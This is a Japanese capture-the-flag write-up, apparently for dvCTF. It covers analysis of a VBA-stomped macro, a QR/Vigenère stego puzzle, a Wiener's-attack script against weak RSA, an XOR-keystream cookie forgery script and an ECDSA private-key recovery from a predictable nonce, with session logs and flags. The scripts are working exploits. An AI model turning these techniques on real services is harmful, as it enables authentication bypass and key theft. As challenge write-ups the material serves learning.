rKtKqyjmtLAyWInkZncQYffwXFxbPoOFxFOcswSeJXqpfJWgdloSFxDlydosSMeWIfhZTaEKPiIUnuNIsTnlehCXZWwzhYuXPJcVpTFpEYnfsKgIfMDYveEnTUoKSNfIJdYVRgYKUOFODalepcJQAKAFBouaXshQTowyLJFfGPgMqhkAGxGeZhKSIhsduBsXCMHfUyWPgagHUZWhAtmfVEBrOfpMowiIFIBUTnxkGqsuEGOrGHTRLItTCzltaBm 0x0000 ' Line #3: ' LitStr 0x0005 "macro" ' LitStr 0x0006 "xvZCth" ' Ld ActiveDocument ' ArgsMemLd Variables 0x0001 ' MemSt Value ' Line #4: ' Ld ActiveDocument ' MemLd ReadOnly ' LitVarSpecial (False) ' Eq ' IfBlock ' Line #5: ' Ld ActiveDocument ' ArgsMemCall Save 0x0000 ' Line #6: ' EndIfBlock ' Line #7: ' EndIfBlock ' Line #8: ' EndSub ' Line #9: ' Macros/VBA/jmHXPwO - 3049 bytes ' Line #0: ' FuncDefn (Function yDYRJZhUQU(OOADDDFbwf As Variant)) ' Line #1: ' Dim ' VarDefn MhIwNFkbfP ' VarDefn vUyBgIYBFZ (As String) ' VarDefn BMOMyOwHIb ' VarDefn SOBdscdEVY ' Line #2: ' LitStr 0x0006 "xvZCth" ' Ld ActiveDocument ' ArgsMemLd Variables 0x0001 ' ArgsMemLd Value 0x0000 ' St vUyBgIYBFZ ' Line #3: ' LitStr 0x0000 "" ' St MhIwNFkbfP ' Line #4: ' LitDI2 0x0001 ' St BMOMyOwHIb ' Line #5: ' Ld BMOMyOwHIb ' Ld OOADDDFbwf ' FnUBound 0x0000 ' LitDI2 0x0002 ' Add ' Lt ' While ' Line #6: ' Ld BMOMyOwHIb ' Ld vUyBgIYBFZ ' FnLen ' Mod ' St SOBdscdEVY ' BoS 0x0000 ' Ld SOBdscdEVY ' LitDI2 0x0000 ' Eq ' If ' BoSImplicit ' Ld vUyBgIYBFZ ' FnLen ' St SOBdscdEVY ' EndIf ' Line #7: ' Ld MhIwNFkbfP ' Ld vUyBgIYBFZ ' Ld SOBdscdEVY ' Ld ezeqxJNwPz ' Add ' LitDI2 0x0001 ' ArgsLd Mid 0x0003 ' ArgsLd Asc 0x0001 ' Ld BMOMyOwHIb ' LitDI2 0x0001 ' Sub ' ArgsLd OOADDDFbwf 0x0001 ' Coerce (Int) ' Xor ' ArgsLd Chr 0x0001 ' Add ' St MhIwNFkbfP ' Line #8: ' Ld BMOMyOwHIb ' LitDI2 0x0001 ' Add ' St BMOMyOwHIb ' Line #9: ' Wend ' Line #10: ' Ld MhIwNFkbfP ' St yDYRJZhUQU ' Line #11: ' EndFunc ' Line #12: ' FuncDefn (Public Function rKtKqyjmtLAyWInkZncQYffwXFxbPoOFxFOcswSeJXqpfJWgdloSFxDlydosSMeWIfhZTaEKPiIUnuNIsTnlehCXZWwzhYuXPJcVpTFpEYnfsKgIfMDYveEnTUoKSNfIJdYVRgYKUOFODalepcJQAKAFBouaXshQTowyLJFfGPgMqhkAGxGeZhKSIhsduBsXCMHfUyWPgagHUZWhAtmfVEBrOfpMowiIFIBUTnxkGqsuEGOrGHTRLItTCzltaBm()) ' Line #13: ' LineCont 0x0004 30 00 00 00 ' LitDI2 0x0031 ' LitDI2 0x002F ' LitDI2 0x0014 ' LitDI2 0x001C ' LitDI2 0x0013 ' LitDI2 0x004F ' LitDI2 0x0038 ' LitDI2 0x005B ' LitDI2 0x003D ' LitDI2 0x0055 ' LitDI2 0x0003 ' LitDI2 0x0008 ' LitDI2 0x006A ' LitDI2 0x0078 ' LitDI2 0x0021 ' LitDI2 0x0036 ' LitDI2 0x0011 ' LitDI2 0x0025 ' LitDI2 0x007C ' LitDI2 0x0030 ' LitDI2 0x0066 ' LitDI2 0x002F ' LitDI2 0x0061 ' LitDI2 0x006D ' LitDI2 0x002A ' LitDI2 0x005A ' LitDI2 0x001C ' LitDI2 0x0045 ' LitDI2 0x0006 ' LitDI2 0x0078 ' LitDI2 0x002D ' LitDI2 0x000A ' LitDI2 0x0007 ' LitDI2 0x000C ' ArgsArray Array 0x0022 ' LitDI2 0x0000 ' ArgsLd yDYRJZhUQU 0x0002 ' St qBkhfHackIBJVCxwNYzMcNILtNKtYYLFZcubaAtjEzTRuvtuYcAYzhzrkMgHxqPnrfwlXOMAFuPmkuGghVxdGghaSKKasudpEAsIdBNxZKmRldsBAtQWzDbgNAPTnXmBfJVIYnMpDtCBlfGuucjuEOfViwExPHuZnhjOTcMIcIzCHyeMtyExwsAaQlofQMSdTojMNZpPpvsgUeLcBpRqCBmyVVUtRnrwlekNvKmErFRCyhRXjzQadQGAAmNcZlw ' Line #14: ' LineCont 0x0008 30 00 00 00 58 00 00 00 ' LitDI2 0x0001 ' LitDI2 0x0035 ' LitDI2 0x0020 ' LitDI2 0x0010 ' LitDI2 0x0063 ' LitDI2 0x002B ' LitDI2 0x0022 ' LitDI2 0x0042 ' LitDI2 0x0042 ' LitDI2 0x0026 ' LitDI2 0x003D ' LitDI2 0x004B ' LitDI2 0x0035 ' LitDI2 0x0004 ' LitDI2 0x0050 ' LitDI2 0x000B ' LitDI2 0x004B ' LitDI2 0x0031 ' LitDI2 0x0032 ' LitDI2 0x0016 ' LitDI2 0x003B ' LitDI2 0x0024 ' LitDI2 0x0032 ' LitDI2 0x0058 ' LitDI2 0x0010 ' LitDI2 0x003E ' LitDI2 0x0057 ' LitDI2 0x000F ' LitDI2 0x0048 ' LitDI2 0x002A ' LitDI2 0x001B ' LitDI2 0x0022 ' LitDI2 0x0013 ' LitDI2 0x001A ' LitDI2 0x0021 ' LitDI2 0x003D ' LitDI2 0x0013 ' LitDI2 0x004D ' LitDI2 0x0030 ' LitDI2 0x002E ' LitDI2 0x003A ' LitDI2 0x0066 ' LitDI2 0x0008 ' LitDI2 0x005E ' LitDI2 0x0040 ' LitDI2 0x0024 ' LitDI2 0x0048 ' LitDI2 0x002F ' LitDI2 0x0020 ' LitDI2 0x0038 ' LitDI2 0x0050 ' LitDI2 0x0000 ' LitDI2 0x006A ' ArgsArray Array 0x0035 ' LitDI2 0x0022 ' ArgsLd yDYRJZhUQU 0x0002 ' St RtUdWHwUjcYWfMbdYzEtJJxGBCaeZuMsGqJaJNhgiegvWcnKCXCyiwfQpHNxmXHARBtnjxDyHQsANVNilEeRnnqZvAGBVhqHIuMldBclOGfVPCZAxgABWdkByLLWXdkgweWhXfkrrjPBVzncoLcBhVrXyilAcvZnXUeSdeeNZCzDtvvADRgrHokTHtStQlbtFzVjXDzkdxbOjiUeZGRvzIYpVtHqgUkHMDikqkENzJDMlbMzpobnWMxdrysbNzY ' Line #15: ' Ld RtUdWHwUjcYWfMbdYzEtJJxGBCaeZuMsGqJaJNhgiegvWcnKCXCyiwfQpHNxmXHARBtnjxDyHQsANVNilEeRnnqZvAGBVhqHIuMldBclOGfVPCZAxgABWdkByLLWXdkgweWhXfkrrjPBVzncoLcBhVrXyilAcvZnXUeSdeeNZCzDtvvADRgrHokTHtStQlbtFzVjXDzkdxbOjiUeZGRvzIYpVtHqgUkHMDikqkENzJDMlbMzpobnWMxdrysbNzY ' ArgsCall MsgBox 0x0001 ' Line #16: ' EndFunc ' Line #17: ' Line #18: +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |Document_Open |Runs when the Word or Publisher document is | | | |opened | |Suspicious|Chr |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Xor |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|.Variables |May use Word Document Variables to store and | | | |hide data | |Suspicious|VBA Stomping |VBA Stomping was detected: the VBA source | | | |code and P-code are different, this may have | | | |been used to hide malicious code | +----------+--------------------+---------------------------------------------+ VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/decalage2/oletools/issues
マクロコードとP-codeで異なる。実体はP-codeの方なので、そちらを分析する。仕組みは「Very Bad Script」と同様のようだ。
VBAで"xvZCth"の値を表示させる。
UYWHU4PjYdm15IOiaFLTUpPXDmCvhHX3oqITHqCRM7ePXkWa5ekYSuPAVy0wpbhYoGrvHStmQBVFq15VhIIT5sKZdENzLF7vrpIqzCd5twV32WoYt8F2YQ5FamSKrXVWwWX3L8I6kSantohTj3PfNrgnl2s9CYINZg6oWX0NhEQ6iO8A4VKIA7Szxj4S7fSoLbvONMyBLbvgMjNoOm2ctpdO4i26Htjuohmiaq6laNY6tzm2TbfXroE5kzuGSCVmYCub519YZXZwve0MTzuJn5MRJGkzkwnOPofA9bETdTlha9QM2K5P5wov5gUIodYsxBrXpwv348IrM8jF58jtIe3YUZLSWa4qLYFYDczkg7mzRG56oNG3O8GbXEQdhMEY3cn5jZ93zgJ8doLxcJy1d6b02hP8ZsSD6YwgLo1IGAwVb2O5775siKjDWJEJ4oXmXOirACPaK5TTFxF95I3CQos7mZwiZaYx0KumwI8jN3tFXq4Kp1pqjga9c9OcMMPlT5vsdcKFALtB4vIroKxpjHINOzcZj8NzfFoBmz62k1JWkEcXlOvigor1As56QvFQbLoTpRSwsBw6GwHf4mT2DaZMPkextCkbWuWYzh5Mn1V6e8eFZNSnVMi7LEysNH5sMcQEznbvdJV8FZVaQuEiANuVPzrfilCPyzLnVnbLRSA62Xe8mHJ8r777UcWTJ5ngzRGvEwT9SEtuMNNHY8KTxMt99emSTFZJPIZG5qrFC8WxokiXC1dxtI69XqhmmJwzZ9GLCyXRX2uZzWlFFUMy5rSVSQ93yBDbAam7ikqrxY4DBLczm4ezjwY91dbbELKnqyvhHKF3xRu3JRoKetPEMXLF46mYSsWbBtkm3HwYVYO2ntyj7PEMapc0Ahyow0wIK82rYuarI68nbDvsjjiG6UVWZgCamqp49Jx3Y5jVaZjHEZav4XDl87eTWmCQINjiNnpgyNtrb3CREZhSofn93OExcrCEGoJVlJrGK8N8fm1GtOQfksAOqGCzkUGtjOq
この情報を元にXORで変数を表示させる。
s = 'UYWHU4PjYdm15IOiaFLTUpPXDmCvhHX3oqITHqCRM7ePXkWa5ekYSuPAVy0wpbhYoGrvHStmQBVFq15VhIIT5sKZdENzLF7vrpIqzCd5twV32WoYt8F2YQ5FamSKrXVWwWX3L8I6kSantohTj3PfNrgnl2s9CYINZg6oWX0NhEQ6iO8A4VKIA7Szxj4S7fSoLbvONMyBLbvgMjNoOm2ctpdO4i26Htjuohmiaq6laNY6tzm2TbfXroE5kzuGSCVmYCub519YZXZwve0MTzuJn5MRJGkzkwnOPofA9bETdTlha9QM2K5P5wov5gUIodYsxBrXpwv348IrM8jF58jtIe3YUZLSWa4qLYFYDczkg7mzRG56oNG3O8GbXEQdhMEY3cn5jZ93zgJ8doLxcJy1d6b02hP8ZsSD6YwgLo1IGAwVb2O5775siKjDWJEJ4oXmXOirACPaK5TTFxF95I3CQos7mZwiZaYx0KumwI8jN3tFXq4Kp1pqjga9c9OcMMPlT5vsdcKFALtB4vIroKxpjHINOzcZj8NzfFoBmz62k1JWkEcXlOvigor1As56QvFQbLoTpRSwsBw6GwHf4mT2DaZMPkextCkbWuWYzh5Mn1V6e8eFZNSnVMi7LEysNH5sMcQEznbvdJV8FZVaQuEiANuVPzrfilCPyzLnVnbLRSA62Xe8mHJ8r777UcWTJ5ngzRGvEwT9SEtuMNNHY8KTxMt99emSTFZJPIZG5qrFC8WxokiXC1dxtI69XqhmmJwzZ9GLCyXRX2uZzWlFFUMy5rSVSQ93yBDbAam7ikqrxY4DBLczm4ezjwY91dbbELKnqyvhHKF3xRu3JRoKetPEMXLF46mYSsWbBtkm3HwYVYO2ntyj7PEMapc0Ahyow0wIK82rYuarI68nbDvsjjiG6UVWZgCamqp49Jx3Y5jVaZjHEZav4XDl87eTWmCQINjiNnpgyNtrb3CREZhSofn93OExcrCEGoJVlJrGK8N8fm1GtOQfksAOqGCzkUGtjOq' codes = [0x31, 0x2F, 0x14, 0x1C, 0x13, 0x4F, 0x38, 0x5B, 0x3D, 0x55, 0x03, 0x08, 0x6A, 0x78, 0x21, 0x36, 0x11, 0x25, 0x7C, 0x30, 0x66, 0x2F, 0x61, 0x6D, 0x2A, 0x5A, 0x1C, 0x45, 0x06, 0x78, 0x2D, 0x0A, 0x07, 0x0C] flag = '' for i in range(1, len(codes) + 1): flag += chr(ord(s[i + 0 - 1]) ^ codes[i - 1]) print('flag:', flag)
実行結果は以下の通り。
flag: dvCTF{h1d1n9_1n_pc0d3_15n7_3n0u9h}
dvCTF{h1d1n9_1n_pc0d3_15n7_3n0u9h}
The Art of Details (Steganography)
docxをzip解凍する。word/media配下にimage1.png~image3.pngがあり、QRコードの画像になっているので、それぞれデコードする。
[image1.png] aXRpc25vdHRoZWZsYWc= [image2.png] dGhla2V5ezRBajgyRDZoUlpLQThocXA1dG01fQ== [image3.png] defaw{u1qeuugx&crl0gl_4_r_fbe4a_f4hli0rm}
image1.pngとimage2.pngのデコード結果はbase64文字列になっているので、デコードする。
$ echo aXRpc25vdHRoZWZsYWc= | base64 -d itisnottheflag $ echo dGhla2V5ezRBajgyRDZoUlpLQThocXA1dG01fQ== | base64 -d thekey{4Aj82D6hRZKA8hqp5tm5}
image3.pngのデコードした文字列はVigenere暗号の暗号文と推測する。数字を除いたアルファベット"AJDHRZKAHQPTM"を鍵にして、https://www.dcode.fr/vigenere-cipherで復号する。
dvctf{v1genere&qrc0de_4_a_gre4t_p4ssw0rd}
small weiner (Cryptography)
Wiener's Attackでdを求める。
#!/usr/bin/env sage from Crypto.Util.number import * def wiener(m, e, n): c = pow(m, e, n) q0 = 1 list1 = continued_fraction(Integer(e)/Integer(n)) conv = list1.convergents() for i in conv: k = i.numerator() q1 = i.denominator() for r in range(30): for s in range(30): d = r*q1 + s*q0 m1 = pow(c, d, n) if m1 == m: return d q0 = q1 return None m = 0x596f7520686176652073756368206120736d616c6c207765696e65722e2049204841544520594f5521212121 N = 0x26553fbb7e4bd5bd48868a25f24d9cc5975aa8597f82110058e687dfa10dd0114c0d2011fa288dbd9d01c0a70dfa8212d5a218d513bdd8ebed9f75bc299e1461be8a23ed8ade96bc449d409fbbf5a328ee2ad3257e6c55a97641258730f74f4d3938f0df794546791ba2b1518b8d855e83f65f885d67aa000a01687ac605404e7bca681e51e6e195f77eb4785fcda0372e3d0fd90240f736243584677f89da4c6ab54d687897d5afb0801cc151c516b072aaa2d9aa8d39d34c230536cba077beaa88ff8e8940a5ba990cafd0b1326f209873a43a785d0c5477241fb6469b8c27c7d54908467a7525de18b2425901c0de3ed63472831c29818ce6efb0354c61f36b2e61146472e99209d198bc885ced0edb66eab62a968c9b98b49b756c689d69820ca1d97e1232c338084097078265ce79b25c1e37bc777247af3fee2ce7a87a697a120c0428327177cf6e934aa2d18e696474227d361a5c36992788c3b1aa8654b88852e897027d58b21576b25a5ffdcb9fbdc5167eb74f1c9082ae79ca0b89 e = 0xfc2e4d12eb69a42c074d9a0ddc6b84294f1e23d6eaa0ba53e9cb60ec0db203d31bdfb90eaca38189890ad26335ad6107cd234a415bfc73fc1bbd6c5d9da65249eebb57d889f91719cfdbd535ab19d2d317ffdf075870a62c6e05aac16c9b122e1c52d7dbeb2fb683514d0f463b58a4217f2e379e5a62be06e764e043a0eac5ac6af56816af926bcc4cd826ee1cfd4157496dc024042676503cec93de45c3c5e4dd9dcf85406a3cf93a9f784b9eef6e320cd9856aefff48df52127b98da8a0d207f588ce1c58e47419554590b1fa7fa3c38034f93a3a5112b6dd5e78c181abc2d972fbcb058575789c68c03f043bd4bf48d94fa7390c77f9fc033f3f01a5162d31056eb42a07397f3485b25396f93558466fc49ef80adea1e9d6c3d9edf529be5faf014669ae5f8e02433a2474d9c92fcc468d81aa0fd641a5647d55153713783a9e5d66fe70c9c2794325b28f20b751fb49359c4a8487bbfa7efc6270b7fa0ffe277276bba14027596d129fcbdef0a82aba24855bfd2155071b52c11da2d943 d = wiener(m, e, N) print(d)
実行結果は以下の通り。
79070855007994582698354011721316587208400326157509581241514418985973605934731
dvCTF{79070855007994582698354011721316587208400326157509581241514418985973605934731}
Secure Or Not Secure (Cryptography)
$ nc challs.dvc.tf 2600 ------ Welcome to my secure login system ------ 1. Login 2. Register 3. Exit ----------------------------------------------- >>> 2 Username: abcd Password: efgh Here is your cookie: iYo65bSB2wddoLu1a6+z9hnk0IknI/KFs3CjxiBSqxPAOB00BwyEjK5q3Dt4h2nQYtFDlj5KNQ== ------ Welcome to my secure login system ------ 1. Login 2. Register 3. Exit ----------------------------------------------- >>> 1 Cookie: iYo65bSB2wddoLu1a6+z9hnk0IknI/KFs3CjxiBSqxPAOB00BwyEjK5q3Dt4h2nQYtFDlj5KNQ== You're not the admin! The cookie b'username=abcd\x00\x00\x00\x00;admin=False;password=efgh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' is invalid! ------ Welcome to my secure login system ------ 1. Login 2. Register 3. Exit ----------------------------------------------- >>> 2 Username: abcd;admin=True; Password: pass Here is your cookie: iYo65bSB2wddoLu1a6/SknTk0IknI/KFs3CjxiBSqxPAOB00BwyEmal+xzt4h2nQYtFDlj5KNQ== ------ Welcome to my secure login system ------ 1. Login 2. Register 3. Exit ----------------------------------------------- >>> 1 Cookie: iYo65bSB2wddoLu1a6/SknTk0IknI/KFs3CjxiBSqxPAOB00BwyEmal+xzt4h2nQYtFDlj5KNQ== You're not the admin! The cookie b'username=abcd\x00adm;admin=False;password=pass\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' is invalid! ------ Welcome to my secure login system ------ 1. Login 2. Register 3. Exit ----------------------------------------------- >>>
\x00->*にして長さを確認
username=abcd****;admin=False;password=efgh************ →長さは55
>>> from base64 import * >>> b64decode('Ote6K22uRtxbjPUeSOeAHxQ+RDu9KxcjN6iYqcsdT4w9BuzxX11L2FI9+K0lOGseiHwCt4dVpg==') b':\xd7\xba+m\xaeF\xdc[\x8c\xf5\x1eH\xe7\x80\x1f\x14>D;\xbd+\x17#7\xa8\x98\xa9\xcb\x1dO\x8c=\x06\xec\xf1_]K\xd8R=\xf8\xad%8k\x1e\x88|\x02\xb7\x87U\xa6' >>> len(b64decode('Ote6K22uRtxbjPUeSOeAHxQ+RDu9KxcjN6iYqcsdT4w9BuzxX11L2FI9+K0lOGseiHwCt4dVpg==')) 55
XOR暗号と推測して、XOR鍵を算出して、以下とのXORを算出しクッキーとしてログインする。
username=abcd****;admin=True;password=efgh************
#!/usr/bin/env python3 import socket import base64 from Crypto.Util.strxor import strxor def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def register(s, username, password): data = recvuntil(s, b'>>> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b': ') print(data + username) s.sendall(username.encode() + b'\n') data = recvuntil(s, b': ') print(data + password) s.sendall(password.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) cookie = data.split(' ')[-1] return cookie def login(s, cookie, ret=True): data = recvuntil(s, b'>>> ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b': ') print(data + cookie) s.sendall(cookie.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) if ret: pt = eval(data.split(' ')[-3]) return pt s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.dvc.tf', 2600)) cookie = register(s, 'admin', 'nimda') pt_cookie = base64.b64decode(cookie.encode()) pt_auth = login(s, cookie) key = strxor(pt_auth, pt_cookie) pt_auth = pt_auth.replace(b'False', b'True') cookie = base64.b64encode(strxor(pt_auth, key[:len(pt_auth)])).decode() login(s, cookie, False)
実行結果は以下の通り。
------ Welcome to my secure login system ------ 1. Login 2. Register 3. Exit ----------------------------------------------- >>> 2 Username: admin Password: nimda Here is your cookie: J1ptMTzn/oZhuCVcvFJ0jwsPnKLgIynSrKUMPTGl560jpel5TJ3NdhoutaRy5Qi7SKaqh+YTrw== ------ Welcome to my secure login system ------ 1. Login 2. Register 3. Exit ----------------------------------------------- >>> 1 Cookie: J1ptMTzn/oZhuCVcvFJ0jwsPnKLgIynSrKUMPTGl560jpel5TJ3NdhoutaRy5Qi7SKaqh+YTrw== You're not the admin! The cookie b'username=admin\x00\x00\x00;admin=False;password=nimda\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' is invalid! ------ Welcome to my secure login system ------ 1. Login 2. Register 3. Exit ----------------------------------------------- >>> 1 Cookie: J1ptMTzn/oZhuCVcvFJ0jwsPnKLgIynSvrYVK2/u9r8jofFkWsSecR4nsMVy5Qi7SKaqh+YT Congrats! You can validate with this flag: dvCTF{42d71e9ee0f5205b54213b10d39c548f}
dvCTF{42d71e9ee0f5205b54213b10d39c548f}
Cwyptographic Owacle (Cryptography)
$ nc challs.dvc.tf 2601 Hiii ~~ Pwease feel fwee to use my sooper dooper cwyptographic owacle! ~~~~~~ [1] > Sign your own message ≧◡≦ [2] > Get the signed flag uwu ~~ [3] > Quit (pwease don't leave me) 1 What's your message senpai? (●´ω`●) > a Signature (r,s): (38698225307763416566974858959924357250869054329049477132492979822881362761646,61738321829341460905411845398534926909730649380416929838008993630518751513494) [1] > Sign your own message ≧◡≦ [2] > Get the signed flag uwu ~~ [3] > Quit (pwease don't leave me) 2 597426ff397d593dd97d58e8ed0701ab7afec05e4c2f9b7fdc59aa2a4e61aa9964000f79963a6151562e675184202d97 [1] > Sign your own message ≧◡≦ [2] > Get the signed flag uwu ~~ [3] > Quit (pwease don't leave me)
サーバの処理概要は以下の通り。
・m = 0 ・以下繰り返し ・メニュー選択 ・1を選択した場合 ・msg: 入力 ・G: NIST256pのGenerator ・priv: 1以上Gのorder未満のランダム整数 ・k: mが0の場合は1以上2**128未満ランダム整数、そうでない場合はUNIXTIME * m ・m = int(hashlib.sha256(msg.encode()).hexdigest(),base=16) ・sig: m, kのsignature ・sig,r, sig.sを表示 ・2を選択した場合 ・key: privの文字列化 ・パディングしたFLAGをkeyでAES ECB暗号化 →16進数表記で表示
ECDSAに関する問題。2回目の1選択では、秒単位の調整が必要かもしれないが、kの値を算出できる。あとは以下のように変形すれば、privを算出できることがわかる。
n = order s = (inverse(k, n) * (m + r * priv)) % n ↓ (k * s) % n = (m + r * priv) % n ↓ priv = ((k * s - m) * inverse(r, n)) % n
フラグの暗号化データを入手後、このprivからAESの鍵を生成し、復号する。
#!/usr/bin/env python3 import socket import ecdsa import hashlib import time from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.dvc.tf', 2601)) msg = 'XXX' data = recvuntil(s, b')\r\n').rstrip() print(data) print('1') s.sendall(b'1\n') data = recvuntil(s, b'> ') print(data + msg) s.sendall(msg.encode() + b'\n') data = recvuntil(s, b'\r\n').rstrip() print(data) data = recvuntil(s, b')\r\n').rstrip() print(data) print('1') s.sendall(b'1\n') data = recvuntil(s, b'> ') print(data + msg) s.sendall(msg.encode() + b'\n') data = recvuntil(s, b'\r\n').rstrip() print(data) sig_r = int(data.split(' ')[-1].split(',')[0][1:]) sig_s = int(data.split(' ')[-1].split(',')[1][:-1]) cur_time = int(time.time()) data = recvuntil(s, b')\r\n').rstrip() print(data) print('2') s.sendall(b'2\n') data = recvuntil(s, b'\r\n').rstrip() print(data) text = bytes.fromhex(data) G = ecdsa.NIST256p.generator n = G.order() m = int(hashlib.sha256(msg.encode()).hexdigest(), 16) for t in range(cur_time - 3, cur_time + 3): k = t * m priv = ((k * sig_s - m) * inverse(sig_r, n)) % n key = long_to_bytes(priv) cipher = AES.new(key, AES.MODE_ECB) FLAG = cipher.decrypt(text) if FLAG.startswith(b'dvCTF{'): FLAG = unpad(FLAG, 16).decode() print(FLAG) break
実行結果は以下の通り。
Hiii ~~ Pwease feel fwee to use my sooper dooper cwyptographic owacle! ~~~~~~ [1] > Sign your own message ≧◡≦ [2] > Get the signed flag uwu ~~ [3] > Quit (pwease don't leave me) 1 What's your message senpai? (●´ω`●) > XXX Signature (r,s): (10492011851745908570521005453752559151067178355958769281265793396684444571231,87235804811476317935201991292078220211417001936689955771500131635174289604714) [1] > Sign your own message ≧◡≦ [2] > Get the signed flag uwu ~~ [3] > Quit (pwease don't leave me) 1 What's your message senpai? (●´ω`●) > XXX Signature (r,s): (22854551379746321508888790857390244186149666408454210304631330322363465023013,71690041650112523713683972091028921776166219927817098261078835238576243288839) [1] > Sign your own message ≧◡≦ [2] > Get the signed flag uwu ~~ [3] > Quit (pwease don't leave me) 2 f91ac7713136b8a348b3a31f962b4cb28f5631e6571a99302efd3149b5a7e447608b4167bf949911bdb91ab3a5fc9135 dvCTF{y0u_h4v3_500p32_d00p32_c2yp70_5kill5_uwu}
dvCTF{y0u_h4v3_500p32_d00p32_c2yp70_5kill5_uwu}